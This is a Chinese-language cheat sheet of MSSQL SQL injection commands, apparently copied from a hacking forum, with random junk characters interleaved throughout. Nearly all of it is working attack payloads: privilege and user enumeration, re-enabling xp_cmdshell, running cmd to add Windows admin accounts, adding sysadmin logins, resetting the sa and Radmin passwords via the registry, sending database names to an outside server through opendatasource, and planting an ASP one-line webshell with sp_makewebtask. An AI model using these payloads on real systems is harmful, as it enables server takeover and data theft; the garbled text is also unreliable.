阿D常用的一些注入命令
7 a; V9 z, ]$ ~6 {: p. s//看看是什么权限的" k) B" L) _' P& A! {5 o
and 1=(Select IS_MEMBER('db_owner'))
; t @) ~. V; a3 vAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
( V5 \5 ?; n3 B/ g
$ {/ T. o( }; j2 M* ~//检测是否有读取某数据库的权限
9 S* x& v7 s+ P$ Eand 1= (Select HAS_DBACCESS('master'))! y$ D0 ?% E6 D2 d! v5 r6 t
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
! l; C! U$ {1 O( L
G* z3 K/ E; B/ m. n" D1 y
+ Q% U6 a7 x1 Z+ p9 Z4 s9 i数字类型 f2 _7 R. y3 n1 w
and char(124)%2Buser%2Bchar(124)=0
; G- D% d; U! W* I
( v( W% c0 e% E8 K; U1 X字符类型
: V/ C4 y7 |9 `3 h' and char(124)%2Buser%2Bchar(124)=0 and ''='
+ p) T% L1 L* B+ C! ]
( P) Z! E3 _ C6 {! F$ t搜索类型6 b, O1 m0 v, _, f! {. ^) A
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
* L$ P i* g+ J9 \7 @6 Y9 k, u- |7 [0 T
爆用户名
% Z y# J5 Z3 i1 ^5 E' hand user>0
6 r/ h& T) c. G+ `, \8 |' and user>0 and ''='( y$ f) H" D' m! }- I
5 N5 B8 ~6 b6 ]- a, K检测是否为SA权限
8 e6 a' O; Y& s5 f% x; S0 Dand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
; s* }. s6 }+ d" T& k1 d% bAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --; Z; c6 A( N7 F" L5 j% L( b; o
/ c/ I! _; a2 h6 K9 Y. `
检测是不是MSSQL数据库+ @0 y/ u' a/ x
and exists (select * from sysobjects);-- 9 c& h6 r% p, {5 w8 w: N( ?! w
) S- W' V% {5 @' p: o6 ^检测是否支持多行
! P* C4 ^4 @: G7 c# t6 }5 M;declare @d int;-- ( B$ r! D: ]! U6 y
0 x+ \- Z X% B- \恢复 xp_cmdshell
$ ?6 X) U5 w! b9 S. l;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--6 P# {0 W4 m0 q/ y1 w/ |0 W0 R' K
) U2 @$ s4 P& I2 s
* t) o) g3 L7 a
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') $ ~9 d) F" Z: n& R0 \* Y
1 x- y9 B+ s% J" W- [! `. _
//-----------------------
, g! g/ P6 |. k' k4 q( O) c, @// 执行命令
) g! f+ D! g& j3 x4 @//-----------------------
8 I, k5 L* l, n& e5 A首先开启沙盘模式:
( [2 d9 R# u" { x5 s/ E4 texec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
/ \% h8 _% N. b7 t5 ~- l% v
: q9 G$ M8 e z5 b: ~, @然后利用jet.oledb执行系统命令- s F0 g; Z4 F# w- Z8 _/ D
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
" m" G( h i- A8 k2 ?6 _ N4 D3 d; P, b$ O# Z6 G% K1 ~* v" y
执行命令
8 ?' r0 P$ |# K) I. w;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
+ s0 I8 g% R3 }! ?& T7 w- r) X: N! H/ a* `3 D5 |* z. T3 c
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'" `/ Z4 W& ~0 W$ u/ _
( U. {& U3 Y' e+ ?判断xp_cmdshell扩展存储过程是否存在:* v, c$ v* z4 e7 s4 F
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
- A& C) t/ E7 V: @& w3 s L
" \" v" d, W: t- b9 z9 y写注册表8 o# x: m5 I: _' }
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1% ^; s3 v O$ f% p9 ?( Q' k
7 V: u) E; T: `3 K! b. ]. S' S- u) FREG_SZ7 V; `6 w, L* ?( a. {( W- k9 V- s
& w9 i! |( X/ g; S# \读注册表6 D" s9 P$ X1 ]6 `
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'! j9 ?; [ w! j" D$ h- p) q* A9 _7 t$ X
4 R+ A# t: h" U7 e' i读取目录内容0 P3 k* v, }7 H% d6 f% [" G$ j; b6 N
exec master..xp_dirtree 'c:\winnt\system32\',1,1" g F* b" M/ Q" X
& {' Y) L# s5 N: x" g
; W s8 ]3 i# P& m& m
数据库备份
5 y$ B( I: G8 Y- Rbackup database pubs to disk = 'c:\123.bak'
: W: G. z7 Q- L! d4 \# d) ?$ w- z4 H
% h/ ?* Z2 ]0 n" z' F- }//爆出长度% q3 K8 L4 h+ ~- S
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--3 U# U0 t' h, L- D. f! G! N
; k: j% [5 [ B( i1 O2 p- N
) y$ H+ @, ]2 t, |; t
8 J/ Q! K( c- J1 O& S% r, g. F) W更改sa口令方法:用sql综合利用工具连接后,执行命令:, i4 J- e, ?& L8 g
exec sp_password NULL,'新密码','sa'5 Q- y$ B# K/ E) j ~1 K; U
) v8 B" L. P. S
添加和删除一个SA权限的用户test:1 b5 g) r0 V: h
exec master.dbo.sp_addlogin test,ptlove
. r- c' A4 r/ Q- y) P2 uexec master.dbo.sp_addsrvrolemember test,sysadmin/ M9 U* E# d- T7 k" H4 ^
: i" c. z! S, E3 N删除扩展存储过过程xp_cmdshell的语句: ; o4 E4 y) o& g7 ]; Z9 r) S
exec sp_dropextendedproc 'xp_cmdshell'% R: A% P1 \4 T l+ k' d9 ^. ?
; C/ t! {$ u) @1 S4 v3 s6 f- x& T: q
添加扩展存储过过程0 T* P @: k2 r5 O/ X
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
. I, X5 x; o2 EGRANT exec On xp_proxiedadata TO public ! D" Z; |3 N. @+ g' o/ J1 n
( t& {7 v8 P7 u
1 e* l9 b4 m2 l" H/ \停掉或激活某个服务。 6 U+ W4 a2 O8 j! e( n' A# j% A! W
" O k! g$ ]! Uexec master..xp_servicecontrol 'stop','schedule'& v$ l( m% M+ c$ ~
exec master..xp_servicecontrol 'start','schedule': T1 Z0 j7 O9 l/ Q6 N
4 m7 U3 w4 Y/ {& H- Z3 n4 }0 j
dbo.xp_subdirs5 o) g* r2 o# o& N, j1 v0 W
2 z/ X" x1 G' J' F6 S只列某个目录下的子目录。3 Z$ Q+ P' a! q2 |
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'; J6 }1 P. G8 y( Y. ?
6 H5 ?$ F' E, l, C- ]5 y; r s
dbo.xp_makecab: b- k) d) N. C5 d+ `' }; L; Y
0 N1 b0 L3 ]% K! {: U7 ~将目标多个档案压缩到某个目标档案之内。
* i+ N/ ?, C3 d+ X$ g所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
% I7 [" A' P9 N# b: M
) w9 R4 Z0 P l6 F1 Gdbo.xp_makecab5 E- C5 x" Z$ N4 ~7 Q. G
'c:\test.cab','mszip',1,1 {! Q2 F' ~! D* c& ]. A
'C:\Inetpub\wwwroot\SQLInject\login.asp',9 z0 z$ B( M6 }6 T
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
0 }; ?, O" O* T+ b4 l# ~! U& H8 S) S) Y, \2 {8 h
xp_terminate_process
' f4 z! l+ I3 {) R$ N
# C7 z+ `2 d6 m5 o6 X停掉某个执行中的程序,但赋予的参数是 Process ID。- i4 h0 b6 ]2 O3 w3 r6 l' M
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
1 G( W) L1 Q0 F, L* D3 k
9 b4 Q e, a8 D% y. Y. o Bxp_terminate_process 2484
3 ] w# A- ]- I$ ?& m0 A: s( Q
' {" {/ D! T3 W' a3 x. y2 j0 u2 a+ [xp_unpackcab
6 Q" q+ @4 C' q. ~" ~
+ x, c5 e# \8 S' J' r* e解开压缩档。3 @6 I9 l( N5 e* [, X
" q9 k/ X$ D! _6 kxp_unpackcab 'c:\test.cab','c:\temp',1* W* B6 {, _- T# h+ [
# o) n2 @7 S1 d4 ]
% K( n& I, u( V7 P
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234 ~% ?3 J/ [/ M+ Y2 v0 A3 C' U
/ w* y; H+ C: [create database lcx;8 o! X7 B5 ^" L/ Y, `
Create TABLE ku(name nvarchar(256) null);
. X; ]3 @/ H2 MCreate TABLE biao(id int NULL,name nvarchar(256) null);
5 l- e; \7 N: a7 [; X; x' q
; v0 n4 `' T6 ]1 P. f% h. J/ [//得到数据库名
- S# F( O! n7 Pinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases' N# \! |1 I! {3 A0 j7 _
) l; B$ B: [( |$ U
& [* d( j- m' I% j3 q9 _) R//在Master中创建表,看看权限怎样( ~6 ], h j- E' q1 L& _
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
6 h1 ^7 s; [: S
7 q" b2 U% l$ @! @! F8 [用 sp_makewebtask直接在web目录里写入一句话马:
/ {# h3 L- V) H; ^ H0 ~9 y+ ?http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
8 m: w9 |% ~9 i a6 g
7 h& J; l, Y5 @3 }3 _: B//更新表内容* n$ H {; y3 u: Y v
Update films SET kind = 'Dramatic' Where id = 1236 X' c* l& X/ H9 ^2 @, e
. R. J( t& W( z7 W" H( d! E
//删除内容
! m: A& ^( v$ idelete from table_name where Stockid = 3 |